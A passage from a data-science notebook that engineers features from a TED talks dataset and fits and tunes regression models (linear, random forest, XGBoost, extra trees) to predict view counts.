column\npop_event=df.groupby('event').agg({'views' : 'mean'}).sort_values(['views'],ascending=False)\npop_event=pop_event.to_dict()\npop_event=pop_event.values()\npop_event= list(pop_event)[0]\ndf['event_wise_avg_views']=df['event'].map(pop_event)\n\n# + [markdown] id=\"-SkD6fUqG2Ve\"\n# * **Now, we have done target encoding on categorical values in the event column.**\n# * **We can further use this feature directly while modelling.**\n# * **We can drop the event column now.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 363} id=\"_0u-A-FtGxo4\" outputId=\"8a34ff1c-ca69-4445-8362-23534eb3b722\"\n#Plotting the distplot of event_wise_avg_views\nsns.distplot(df['event_wise_avg_views'])\n\n# + [markdown] id=\"96SDCoUFHFe8\"\n# * **Let's drop the event column as it is of no use now.**\n\n# + id=\"-xE3CmOzHCWx\"\n#Let's drop event column\ndf=df.drop(columns='event')\n\n# + [markdown] id=\"W2bT1jFmHW_s\"\n# ## **4.3 Feature Engineering on available_lang column**\n# **In available_lang column we have a list of available languages for each video.**\n\n# + id=\"KBT8RjtFHKMs\"\n#applying eval function on available_lang column\ndf['available_lang'] = df.apply(lambda row: eval(row['available_lang']), axis=1)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"cUmL_SEOILDw\" outputId=\"6103b9d8-341d-4057-cc96-ebd743e1ecca\"\nlen(df['available_lang'][10])\n\n# + [markdown] id=\"IGdmCrWVJIFU\"\n# **Let's add a new feature which contain the count of total no of language for a particular video.**\n\n# + id=\"fqt0QZp1I2Au\"\ndf['num_of_lang'] = df.apply(lambda x: len(x['available_lang']), axis=1)\n\n# + id=\"IJgq5FZMJWvU\"\n#dropping the available_lang column\ndf.drop(columns='available_lang',inplace=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 352} id=\"gJzF6OEwJaSZ\" outputId=\"c7e61809-585e-4def-cfdb-3495cb2f89e2\"\nsns.distplot(df['num_of_lang'])\n\n# + [markdown] id=\"3bpVYWITJg6B\"\n# ## **4.4 Feature Engineering on topics column**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 36} id=\"ct4Rg8zkJclK\" outputId=\"3840d1d2-590e-463a-f4b2-5ec6f2bcfd0f\"\ndf['topics'][0]\n\n# + [markdown] id=\"PiW3c3PJJ1OI\"\n# * **The topics column basically contains the list of topic tags associated with each video.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"fpYbMZPXJp6a\" outputId=\"f072f11b-2854-4184-b650-a9b7d37d7317\"\ndf['topics'] = df.apply(lambda row: eval(row['topics']), axis=1)\ndf['topics']\n\n# + [markdown] id=\"eHNFAg1HKHxc\"\n# **Let's add a new feature which contain the count of total no of topics for a particular video.**\n\n# + id=\"qUZquv79KEw_\"\ndf['num_of_tags'] = df.apply(lambda x: len(x['topics']), axis=1)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 297} id=\"fmMuQn48KPiP\" outputId=\"d47c8731-8548-47c2-bb13-01041f7e32bb\"\nplt.figure(figsize=(10,4))\nsns.distplot(df['num_of_tags'])\n\n# + [markdown] id=\"pW43udTiLUQM\"\n# **Now, let's do target encoding on topics column.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"t6VGlCVTKSP5\" outputId=\"eb45f383-36ed-40ae-8d7d-ab6beeeded04\"\ndf['topics'][1]\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"R9of8gzOLbVY\" outputId=\"4721af71-6f70-4d6d-9a76-ef955a1a7715\"\n#extracting the unique topics from topics list of each talk\nunique_topics=[]\nfor i in range(0,len(df)):\n temp=df['topics'][i]\n for ele in temp:\n if(ele not in unique_topics):\n unique_topics.append(ele)\n \nlen(unique_topics)\n\n# + id=\"nCimBxvRLoIH\"\n#fetching the avg views w.r.t each topic in another dict unique_topics_avg_view_dict\nunique_topics_avg_view_dict={}\nfor topic in unique_topics:\n temp=0\n count=0\n for i in range(0,len(df)):\n temp2=df['topics'][i]\n if(topic in temp2):\n temp+=df['views'][i]\n count+=1\n unique_topics_avg_view_dict[topic]=temp//count\n\n# + id=\"6QoXSpjBMmvU\"\n#storing the avg views w.r.t topic for each talk\ntopics_wise_avg_views=[]\nfor i in range(0,len(df)):\n temp=0\n temp_topic=df['topics'][i]\n for ele in temp_topic:\n temp+=unique_topics_avg_view_dict[ele]\n \n topics_wise_avg_views.append(temp//len(temp_topic))\n \nse = pd.Series(topics_wise_avg_views)\ndf['topics_wise_avg_views'] = se.values\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 308} id=\"A-E7C5n2Mx-m\" outputId=\"970df911-b016-45b4-ddd6-4bbdcdf75b7a\"\n#storing the avg views w.r.t topic for each talk\ntopics_wise_avg_views=[]\nfor i in range(0,len(df)):\n temp=0\n temp_topic=df['topics'][i]\n for ele in temp_topic:\n temp+=unique_topics_avg_view_dict[ele]\n \n topics_wise_avg_views.append(temp//len(temp_topic))\n \nse = pd.Series(topics_wise_avg_views)\ndf['topics_wise_avg_views'] = se.values\n#plotting topics_wise_avg_views\nplt.figure(figsize=(10,4))\nsns.distplot(df['topics_wise_avg_views'])\n\n# + [markdown] id=\"Mz_3ialoM4yA\"\n# ## **4.5 Feature Engineering on published_date column.**\n# **We can add a new column called video_age which is the difference of current year and published year.**\n\n# + id=\"cjoURp17M0JA\"\ndf['video_age']=2021-df['release_year']\n\n# + [markdown] id=\"bRIYXnZoN7mt\"\n# **Now, we can drop published_date column.**\n\n# + id=\"vTwtiSo2NDwP\"\ndf=df.drop(columns='published_date')\n\n# + [markdown] id=\"cWXcHyN8OBej\"\n# ## **4.6 Feature Engineering on related_talks column.**\n\n# + id=\"eWsaesCwN-6p\"\n#applying eval function on available_lang column\ndf['related_talks'] = df.apply(lambda row: eval(row['related_talks']), axis=1)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"72Ssi1uhOIDO\" outputId=\"7cd59517-c8a5-47cc-9e90-0045040fcaa9\"\ndf['related_talks'][0]\n\n# + [markdown] id=\"ZZtLIwfSOT7Z\"\n# * **Related_talks column contains a dictionary containing information about six related videos with talk_id as key and video title as it's value.**\n# * **We can take mean of the views of those six related talks for each video and can add as a new feature called related_views.**\n\n# + id=\"KUlkNNgQOLg2\"\n#defining a new feature called related_views\ndf['related_views'] = 0\n#iterating through the each row and extracting the value of related_talks\nfor index, row in df.iterrows():\n id_list=list(row['related_talks'].keys())\n temp=0\n for i in range(len(df)):\n if (df.loc[i,'talk_id']) in id_list:\n temp+=df.loc[i,'views']\n \n df.loc[index,'related_views']=temp//6\n\n# + [markdown] id=\"ZvRIjaa_OyO2\"\n# **Let's plot the related_views column.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 363} id=\"gijW4nVrOuBc\" outputId=\"466bc354-720e-41d8-d3ba-bbc2a2e8583c\"\n#Let's plot the related_views column\nplt.figure(figsize=(10,5))\nsns.distplot(df['related_views'])\n\n# + [markdown] id=\"xFzuhqOvO6gq\"\n# * **It's a skewed normal distribution.**\n\n# + id=\"SYCAE4PTO-0m\"\n#creating a copy of the dataframe\ngf=df.copy()\n\n# + id=\"r0hHTQg5PFfP\"\ndf=gf.copy()\n\n# + [markdown] id=\"zY_lDxPyPT_P\"\n# # **5. Data Cleaning.**\n# ## **5.1 Outlier Treatment on numerical columns.**\n\n# + id=\"BRC6aMr2Pep1\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"fcf69eb0-c059-487c-f3f0-a931be7f707b\"\n#checking the outliers\nQ1 = df.quantile(0.25)\nQ3 = df.quantile(0.75)\nIQR = Q3 - Q1\n \n((df < (Q1 - 1.5 * IQR)) | (df > (Q3 + 1.5 * IQR))).sum()\n\n# + [markdown] id=\"-V9yVYPZRfev\"\n# * **We have outliers in few columns which needs to be treated well.**\n# * **I am replacing the outliers with the extreme values.**\n\n# + id=\"VmmbjzHWSHZl\"\n# Replacing outliers with extreme values\nfor i in ['comments','duration','num_of_lang','num_of_tags','related_views','views','speaker_1_avg_views','topics_wise_avg_views','event_wise_avg_views']:\n Q1 = df[i].quantile(0.25)\n Q3 = df[i].quantile(0.75)\n IQR = Q3 - Q1\n \n df[i]=np.where(df[i]<(Q1 - 1.5 * IQR),(Q1 - 1.5 * IQR),np.where(df[i]>(Q3 + 1.5 * IQR),(Q3 + 1.5 * IQR),df[i]))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"0JsbcCjCSJW6\" outputId=\"a514400d-fc7e-420b-9a4f-e7f90eb2ec83\"\n#Let's check the outliers again\nQ1 = df.quantile(0.25)\nQ3 = df.quantile(0.75)\nIQR = Q3 - Q1\n((df < (Q1 - 1.5 * IQR)) | (df > (Q3 + 1.5 * IQR))).sum()\n\n# + [markdown] id=\"xPkQjISfSXXi\"\n# * **Now, we don't have any outliers.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"jfvBCWAySOU1\" outputId=\"e23b438b-1e47-4d52-9dae-adab3274fe13\"\ndf.columns\n\n# + [markdown] id=\"pJBUzwCKSgQb\"\n# **Let's drop unimportant columns.**\n\n# + id=\"K5FEtq1SSdpG\"\n#dropping unimportant columns from the dataframe.\ndf.drop(columns=['talk_id','title','speaker_1', 'all_speakers', 'occupations',\n 'about_speakers', 'recorded_date','topics','related_talks','transcript','description','occupation','release_year'],inplace=True)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 112} id=\"_bv393QrSogv\" outputId=\"bdfc7792-8282-4118-ce3c-9f7b34e7b1ca\"\ndf.head(2)\n\n# + [markdown] id=\"eBudaLFqS3yj\"\n# **Let's separate the dependent and independent variables.**\n\n# + [markdown] id=\"n1BwnsmHS3tW\"\n#\n\n# + id=\"tuJzlZ0HSrj2\"\n#separating the dependent and independent variables\ny=df['views']\nX=df.drop(columns='views')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 424} id=\"rXkQ4PxNS0U9\" outputId=\"89745558-70b4-4ed5-b650-d4dfa3d0e7f8\"\nX\n\n# + [markdown] id=\"RDmtfQ-6TCbi\"\n# **Doing one hot encoding using get_dummies function.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"2ryi7w2xS9ot\" outputId=\"455b10e9-7832-4a59-d1ec-9be46fe10d04\"\n#one hot encoding on categorical features\nX=pd.get_dummies(X)\nX.shape\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 205} id=\"cn7u1bdETGH5\" outputId=\"ccd7c484-d688-4f8f-ae6b-eb03fda943a5\"\nX.head(2)\n\n# + [markdown] id=\"Xg6wfKRzTW7N\"\n# * **Now, we have around 28 features after one hot encoding.**\n# * **Applying proper feature selection is must here to get rid of unimportant features.**\n\n# + [markdown] id=\"R0hArZNZTfPw\"\n# ## **5.2 Let's treat nan values of numerical columns using KNNImputer**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"1TCAuzjfTKOd\" outputId=\"723feb1e-ff46-4eb8-d720-df6bd81c00b9\"\n#checking for null values\nX[['duration','comments']].isna().sum()\n\n# + [markdown] id=\"NjcSJnYyTs_S\"\n# * **Here, we have around 655 NaN values in comments column.**\n# * **Let's treat it using KNNImputer.**\n\n# + id=\"tW6tOHFNTkpO\"\n#Taking features for using in KNNImputer\noutlier_df=['duration','comments','speaker_1_avg_views','event_wise_avg_views']\n\n# + id=\"XNPdJrrQT4RC\"\n# Before applying KNNImputer, we have to scale features so avoid bias.\nscaler = MinMaxScaler()\n#Import libraries\nfrom sklearn.impute import KNNImputer\n# define imputer\nimputer = KNNImputer()\n#fitting the model\nimputer.fit(scaler.fit_transform(X[outlier_df]))\n# transform the dataset\nX[outlier_df] = imputer.transform(scaler.fit_transform(X[outlier_df]))\n#again applying inverse_transform on the data\nX[outlier_df] = scaler.inverse_transform(X[outlier_df])\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"vAi97s8hUHV2\" outputId=\"8129864f-1e73-4924-de57-20ff31a6f46a\"\n#let's check for nan values again\nX[['duration','comments']].isna().sum()\n\n# + [markdown] id=\"FIkLVOAXUVar\"\n# * **Now we don't have any nan values in comments column.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 205} id=\"6BujW--GUU8m\" outputId=\"8eacdf43-1c0a-413b-c3f8-67e0aa472178\"\nX.head(2)\n\n# + [markdown] id=\"9ufZrL8JU3eP\"\n# **Let's make a boxplot of duration column.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 351} id=\"mKh0fSeuURbY\" outputId=\"97c68387-23a0-4ff1-cad1-8c9bf1bd455c\"\nsns.boxplot(x=X['duration'])\n\n# + [markdown] id=\"w8rQWVhRVE0l\"\n# **Let's make a boxplot of comments column.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 351} id=\"J6zLpCbHU-7Q\" outputId=\"9430800c-c34a-4723-a220-e55caa7e22ea\"\nsns.boxplot(x=X['comments'])\n\n# + [markdown] id=\"tatrtF4eMTf5\"\n# # **6. Feature Selection**\n\n# + id=\"cCOyKbCZVH6G\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"31e2382c-96b8-41b0-bd87-1181be3a8c2a\"\n#printing the shape of features\nX.shape\n\n# + [markdown] id=\"OvQGzqEqMZnd\"\n# * **From here we can see that a lot more work on feature selection is required.**\n#\n# * **Let's do feature selection from these 28 dependent variables and select the best set of features.**\n\n# + [markdown] id=\"03_9mJexNTbJ\"\n# ## **6.1 Feature selection for numerical features using f_regression.**\n\n# + id=\"jE9fR_WyMWzF\"\n#importing the libraries\nfrom sklearn.feature_selection import SelectKBest\nfrom sklearn.feature_selection import f_regression\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"_-MQV-5DNZQZ\" outputId=\"ac7cd7e4-4853-4e16-917f-e9ca2effc90e\"\n#finding the f scores of each features\nf_scores = f_regression(X, y)\nf_scores\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 448} id=\"cMDNSh2sNz-2\" outputId=\"1bc4c943-27eb-4212-bd10-67016f71b1f8\"\n#The second array consists of p-values that we need. let's plot it\np_values= pd.Series(f_scores[1],index= X.columns)\np_values.plot(kind='bar',color='blue',figsize=(16,5))\nplt.title('P-value scores for numerical features')\nplt.show()\n\n# + [markdown] id=\"Z8PyvBV_N4QP\"\n# * **From here using p value analysis we can drop those features having high p values.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"4fi-4oMHN02V\" outputId=\"d397f053-408a-4233-b25e-c1af9c05e154\"\nX.columns\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"6pqeQ9gNN87L\" outputId=\"54a0a779-e6ec-41ae-b2f6-6510cdd1cd91\"\n#Let's take all the important features in a list.\nll=['comments', 'duration', 'num_of_lang', 'num_of_tags','event_wise_avg_views',\n 'related_views', 'release_day_Friday','speaker_1_avg_views','topics_wise_avg_views']\nlen(ll)\n\n# + id=\"pzFmSl9TOAOc\"\n#let's take the important features\nX=X[ll]\n\n# + [markdown] id=\"LGudFihqOEwj\"\n# **Plotting the correlation matrix.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 608} id=\"8AYBvSdnODDZ\" outputId=\"b30becee-2fbd-452c-b0bf-1a179521397e\"\n# Lets look at the correlation matrix now.\nfig = plt.figure(figsize=(16,8))\nax = fig.add_subplot(111)\nsns.heatmap(X.corr(),annot=True, cmap='Spectral_r')\n\n# + [markdown] id=\"1KVEd4YEOP_m\"\n# **Applying train test split**\n\n# + id=\"ocChbPKyOM4W\"\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)\n\n# + [markdown] id=\"IXUpTzBWOYDA\"\n# **Let's try to build a baseline model and we can improve from there.**\n\n# + [markdown] id=\"N2ivCFtROoGw\"\n# # **7. Fitting the regression models and HyperParameter Tuning**\n# ## **7.1 Let's apply linear regression model.**\n\n# + id=\"EfJaTbsOOnur\"\n#fitting the model\nfrom sklearn.linear_model import LinearRegression\nreg = LinearRegression().fit(X_train, y_train)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"6pdELCeyOTUx\" outputId=\"3928173e-33ca-46d7-a7ea-0af975fe6532\"\n\n#predicting the values for train and test set\ny_pred = reg.predict(X_train)\ny_test_pred = reg.predict(X_test)\n \nMSE = mean_squared_error(y_test, y_test_pred)\nprint(\"MSE on test is\" , MSE)\n \nRMSE = np.sqrt(MSE)\nprint(\"RMSE on test is\" ,RMSE)\n \ny_pred = reg.predict(X_train)\ny_test_pred = reg.predict(X_test)\nprint('Training MAE: {:0.2f}'.format(mean_absolute_error(y_train, y_pred)))\nprint('Test MAE: {:0.2f}'.format(mean_absolute_error(y_test, y_test_pred)))\n\n# + [markdown] id=\"cApucneOO2yx\"\n# * **Despite of the fact that our features are not following linear assumption which we have checked earlier, this model is giving a satisfactory score.**\n\n# + [markdown] id=\"JiUhXnYRO6-R\"\n# ## **7.2 Random Forest Regressor**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"8du0Dd2qOzhl\" outputId=\"c689bf9b-5226-4e18-fe0e-0a57f955e63c\"\n#applying RandomForestRegressor on default parameters\nrf = RandomForestRegressor(criterion='mae')\nrf.fit(X_train, y_train)\ny_pred = rf.predict(X_train)\ny_test_pred = rf.predict(X_test)\nprint('Training MAE: {:0.2f}'.format(metrics.mean_absolute_error(y_train, y_pred)))\nprint('Test MAE: {:0.2f}'.format(metrics.mean_absolute_error(y_test, y_test_pred)))\nprint('Target mean: {:0.2f}'.format(y.mean()))\nprint('Target std: {:0.2f}'.format(y.std()))\n\n# + [markdown] id=\"5O0IYuPZPKhi\"\n# * **It's not a good score but we can improve by doing some feature selection and by hyperparameter tuning.**\n#\n# **Defining Parameter Dict for Hyperparameter Tuning**\n\n# + id=\"JtbV0i_0PHWQ\"\n#Random Forest Regressor param_dict\nn_estimators = [30,50,80,100,120,150]\nmax_depth = [4,6,8,10,12]\nmin_samples_split = [50,80,100,150,200]\nmin_samples_leaf = [10,30,40,50,60,80]\n# HYperparameter Dict\nparam_dict = {'n_estimators' : n_estimators,\n 'max_depth' : max_depth,\n 'min_samples_split' : min_samples_split,\n 'min_samples_leaf' : min_samples_leaf}\n\n# + [markdown] id=\"N-IUPN69PdyY\"\n# **1. Hyperparameter Tuning using Randomized Search CV**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Lw-2mfqyPZig\" outputId=\"a8d9ca32-21f6-4462-e698-c31dc63deec7\"\n# Create an instance of the random forest regressor\nrf_model = RandomForestRegressor(criterion='mae')\n \n#RandomSearch\nrf_random = RandomizedSearchCV(rf_model,param_dict,verbose=0,cv=5)\nrf_random.fit(X_train,y_train)\n\n# + id=\"k_XmjhcPPkZT\"\n#finding the optimal model w.r.t. best_estimator_\nrf_optimal_model = rf_random.best_estimator_\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"lV4aV6ATPxhX\" outputId=\"ae8f3693-1d48-45aa-dea7-4787651b6d5a\"\nrf_optimal_model\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"0_f4f4JOP2b-\" outputId=\"f0f4ff1b-8c95-4751-cbeb-ba9b6cfcf249\"\n#calculating the MAE on train and test set\ny_pred = rf_optimal_model.predict(X_train)\ny_test_pred = rf_optimal_model.predict(X_test)\nprint('Training MAE: {:0.2f}'.format(metrics.mean_absolute_error(y_train, y_pred)))\nprint('Test MAE: {:0.2f}'.format(metrics.mean_absolute_error(y_test, y_test_pred)))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"hUMHOgBUQEWF\" outputId=\"447bb990-c94c-4899-b986-f74a8e090da0\"\n# make predictions for test data\ny_hat = rf_optimal_model.predict(X_test)\nprint(f'r_sqr value for train: {rf_optimal_model.score(X_train, y_train)*100}')\nr_squared= r2_score(y_test,y_hat)*100\n#Calculate Adjusted R-sqaured\nadjusted_r_squared = 1 - (1-r_squared)*(len(y)-1)/(len(y)-X.shape[1]-1)\nprint(f'For test set the R_Squared for RFforest is {r_squared} and adjusted R_Squared is {adjusted_r_squared}')\n\n# + [markdown] id=\"v4nMT6MlQIc7\"\n# ### **Let's plot all the scores of rf_optimal_model together.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 81} id=\"m27MjDhFQLPl\" outputId=\"93d8dabd-5578-4d35-8ba1-cbf155ba7ebd\"\n#Defining the model\nmodel =[\n ['RandomForest ',RandomForestRegressor(criterion='mae',max_depth=6,min_samples_leaf=30,min_samples_split=80,n_estimators=150,random_state=42)]\n ]\n#Let's run the the model and store the results in a dataframe\nmodel_data = []\nfor name,curr_model in model :\n curr_model_data = {}\n curr_model.random_state = 42\n curr_model_data[\"Model_Name\"] = name\n curr_model.fit(X_train,y_train)\n curr_model_data[\"MAE_train\"] =metrics.mean_absolute_error(y_train, curr_model.predict(X_train))\n curr_model_data[\"MAE_test\"] =metrics.mean_absolute_error(y_test, curr_model.predict(X_test))\n curr_model_data[\"R2_Score_train\"] = r2_score(y_train,curr_model.predict(X_train))\n curr_model_data[\"R2_Score_test\"] = r2_score(y_test,curr_model.predict(X_test))\n curr_model_data[\"RMSE_Score_train\"] = np.sqrt(mean_squared_error(y_train,curr_model.predict(X_train)))\n curr_model_data[\"RMSE_Score_test\"] = np.sqrt(mean_squared_error(y_test,curr_model.predict(X_test)))\n model_data.append(curr_model_data)\n \nresults_df_rf = pd.DataFrame(model_data)\n \n#printing the results_df_rf\nresults_df_rf\n\n# + [markdown] id=\"8TVufPjvQUC3\"\n# ### **Let's plot the feature importance score w.r.t. RF model**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 416} id=\"OtNbnCKkQYju\" outputId=\"05a5985b-d64e-4c4b-bd03-7ea40dc5d4dd\"\nimportances = pd.DataFrame({'Features': X.columns, \n 'Importances': rf_optimal_model.feature_importances_})\n \nimportances.sort_values(by=['Importances'], axis='index', ascending=False, inplace=True)\nfig = plt.figure(figsize=(14, 4))\nsns.barplot(x='Features', y='Importances', data=importances)\nplt.xticks(rotation='vertical')\nplt.title('Feature importance score w.r.t. RFRegressor model')\n\n# + [markdown] id=\"W5HLSCODQZy5\"\n# * **speaker_avg_views is the most important feature in RandomForestregressor followed by event_wise_avg_views.**\n\n# + [markdown] id=\"7SVYLEmkQeng\"\n# ## **7.3 Applying XGboost regressor model**\n\n# + id=\"yLLdE9RKQTLz\"\n#XGBoost Regressor\n# Number of trees\nn_estimators = [50,80,100]\n# Maximum depth of trees\nmax_depth = [4,6,8]\n# Minimum number of samples required to split a node\nmin_samples_split = [50,100,150]\n# Minimum number of samples required at each leaf node\nmin_samples_leaf = [40,50]\n# HYperparameter Dict\nparam_dict = {'n_estimators' : n_estimators,\n 'max_depth' : max_depth,\n 'min_samples_split' : min_samples_split,\n 'min_samples_leaf' : min_samples_leaf}\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"KyjFGOFCQRbZ\" outputId=\"8b222c00-7cc5-4888-917e-eff54509f085\"\nfrom xgboost import XGBRegressor\n# Create an instance of the XGBoost\nxgb_model = XGBRegressor(learning_rate=0.1)\n#RandomSearch\nxgb_random = RandomizedSearchCV(xgb_model,param_dict,verbose=2,cv=5)\nxgb_random.fit(X_train,y_train)\n\n# + id=\"Ovg-JZe_QVAN\"\n#finding xgb_optimal_model\nxgb_optimal_model = xgb_random.best_estimator_\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"71gyzlyAQWvP\" outputId=\"44911710-6129-4530-a428-c18fbe31bf41\"\nxgb_optimal_model\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"8Yrmm-miQZGG\" outputId=\"ad2b2336-7e45-4f0b-c10a-c16df701bbff\"\n\n# make predictions for test data\ny_hat = xgb_optimal_model.predict(X_test)\nprint(f'r_sqr value for train: {xgb_optimal_model.score(X_train, y_train)}')\nr_squared= r2_score(y_test,y_hat)\n#Calculate Adjusted R-sqaured\nadjusted_r_squared = 1 - (1-r_squared)*(len(y)-1)/(len(y)-X.shape[1]-1)\nprint(f'For test set the R_Squared for XGBoost is {r_squared} and adjusted R_Squared is {adjusted_r_squared}')\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"1pNrZneYQa_N\" outputId=\"0d17c011-a2eb-4e74-e0ae-14a3309ada22\"\ny_pred = xgb_optimal_model.predict(X_train)\ny_test_pred = xgb_optimal_model.predict(X_test)\nprint('Training MAE: {:0.2f}'.format(metrics.mean_absolute_error(y_train, y_pred)))\nprint('Test MAE: {:0.2f}'.format(metrics.mean_absolute_error(y_test, y_test_pred)))\n\n# + [markdown] id=\"xdETT8e-QdhX\"\n# ## **Let's plot all the scores of xgb_optimal_model together.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 98} id=\"878KdqKgQfoC\" outputId=\"37612b7e-0a09-4f95-b636-cbd08d42a8a6\"\n#Defining the model\nmodel = [\n ['XGBRegressor: ', xgb.XGBRegressor(base_score=0.5, booster='gbtree',colsample_bytree=1, gamma=0,importance_type='gain', learning_rate=0.1,max_depth=4, min_samples_leaf=40,\n min_samples_split=150, n_estimators=80)] \n ]\n#Let's run the the model\nmodel_data = []\nfor name,curr_model in model :\n curr_model_data = {}\n curr_model.random_state = 42\n curr_model_data[\"Model_Name\"] = name\n curr_model.fit(X_train,y_train)\n curr_model_data[\"MAE_train\"] =metrics.mean_absolute_error(y_train, curr_model.predict(X_train))\n curr_model_data[\"MAE_test\"] =metrics.mean_absolute_error(y_test, curr_model.predict(X_test))\n curr_model_data[\"R2_Score_train\"] = r2_score(y_train,curr_model.predict(X_train))\n curr_model_data[\"R2_Score_test\"] = r2_score(y_test,curr_model.predict(X_test))\n curr_model_data[\"RMSE_Score_train\"] = np.sqrt(mean_squared_error(y_train,curr_model.predict(X_train)))\n curr_model_data[\"RMSE_Score_test\"] = np.sqrt(mean_squared_error(y_test,curr_model.predict(X_test)))\n model_data.append(curr_model_data)\n \nresults_df_xgb = pd.DataFrame(model_data)\n#printing the results_df_xgb\nresults_df_xgb\n\n# + [markdown] id=\"NmXeCgogQlm6\"\n# ## **Let's plot the feature importance score w.r.t. XGBregressor model**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 399} id=\"qUDyhAaZQknK\" outputId=\"1f49b956-78e9-42ad-d9cc-106f882a3e9d\"\nimportances = pd.DataFrame({'Features': X.columns, \n 'Importances': xgb_optimal_model.feature_importances_})\n \nimportances.sort_values(by=['Importances'], axis='index', ascending=False, inplace=True)\nfig = plt.figure(figsize=(14, 4))\nsns.barplot(x='Features', y='Importances', data=importances)\nplt.xticks(rotation='vertical')\nplt.title('Feature importance score w.r.t. XGBregressor model')\nplt.show()\n\n# + [markdown] id=\"3_D9n5dNQrSh\"\n# * **speaker1_avg_views is the most important feature in XGBregressor model followed by event_wise_avg_views.**\n\n# + [markdown] id=\"sCEPh0cgQvqp\"\n# ## **7.4 Let's try ExtraTreesRegressor.**\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"Qzd9y-2_Qypb\" outputId=\"b0f88cb2-1a38-4aae-8ef4-75f58e861f91\"\net = ExtraTreesRegressor(criterion='mae', max_depth=30, n_estimators=200, min_samples_leaf=2, min_samples_split=6)\net.fit(X_train, y_train)\ny_pred = et.predict(X_train)\ny_test_pred = et.predict(X_test)\nprint('Training MAE: {:0.2f}'.format(metrics.mean_absolute_error(y_train, y_pred)))\nprint('Test MAE: {:0.2f}'.format(metrics.mean_absolute_error(y_test, y_test_pred)))\n\n# + [markdown] id=\"SqMoS8TzQ1OT\"\n# **Hyperparameter Tuning using Randomized Search CV**\n\n# + id=\"FBj2MOp7Q4UD\"\n#Extra Trees Regressor paramdict\n# Number of trees\nn_estimators = [50,80,100]\n# Maximum depth of trees\nmax_depth = [4,6,8]\n# Minimum number of samples required to split a node\nmin_samples_split = [50,100,150]\n# Minimum number of samples required at each leaf node\nmin_samples_leaf = [40,50]\n# HYperparameter Dict\nparam_dict = {'n_estimators' : n_estimators,\n 'max_depth' : max_depth,\n 'min_samples_split' : min_samples_split,\n 'min_samples_leaf' : min_samples_leaf}\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"UqJ94Z-yQ6hJ\" outputId=\"ae75ce3e-193c-4e19-bb7f-08305f3a3825\"\n# Create an instance of the Extratrees regressor\net_model = ExtraTreesRegressor(criterion='mae')\n \n#RandomSearch\net_random = RandomizedSearchCV(et_model,param_dict,verbose=2,cv=5)\net_random.fit(X_train,y_train)\n\n# + id=\"cje55sToQ9DG\"\net_optimal_model = et_random.best_estimator_\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"XvQsY8E0Q-8X\" outputId=\"70146cf9-63eb-48d7-b270-f6f89adc3aa4\"\ny_pred = et_optimal_model.predict(X_train)\ny_test_pred = et_optimal_model.predict(X_test)\nprint('Training MAE: {:0.2f}'.format(metrics.mean_absolute_error(y_train, y_pred)))\nprint('Test MAE: {:0.2f}'.format(metrics.mean_absolute_error(y_test, y_test_pred)))\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"qCJzDzp9RBC0\" outputId=\"e4a0b92b-40d4-4621-9148-c416d7867027\"\n# make predictions for test data\ny_hat = et_optimal_model.predict(X_test)\nprint(f'r_sqr value for train: {et_optimal_model.score(X_train, y_train)}')\nr_squared= r2_score(y_test,y_hat)\n#Calculate Adjusted R-sqaured\nadjusted_r_squared = 1 - (1-r_squared)*(len(y)-1)/(len(y)-X.shape[1]-1)\nprint(f'For test the R_Squared for ExtraTreesRegressor is {r_squared} and adjusted R_Squared is {adjusted_r_squared}')\n\n# + [markdown] id=\"gWMgbokqRDbw\"\n# ## 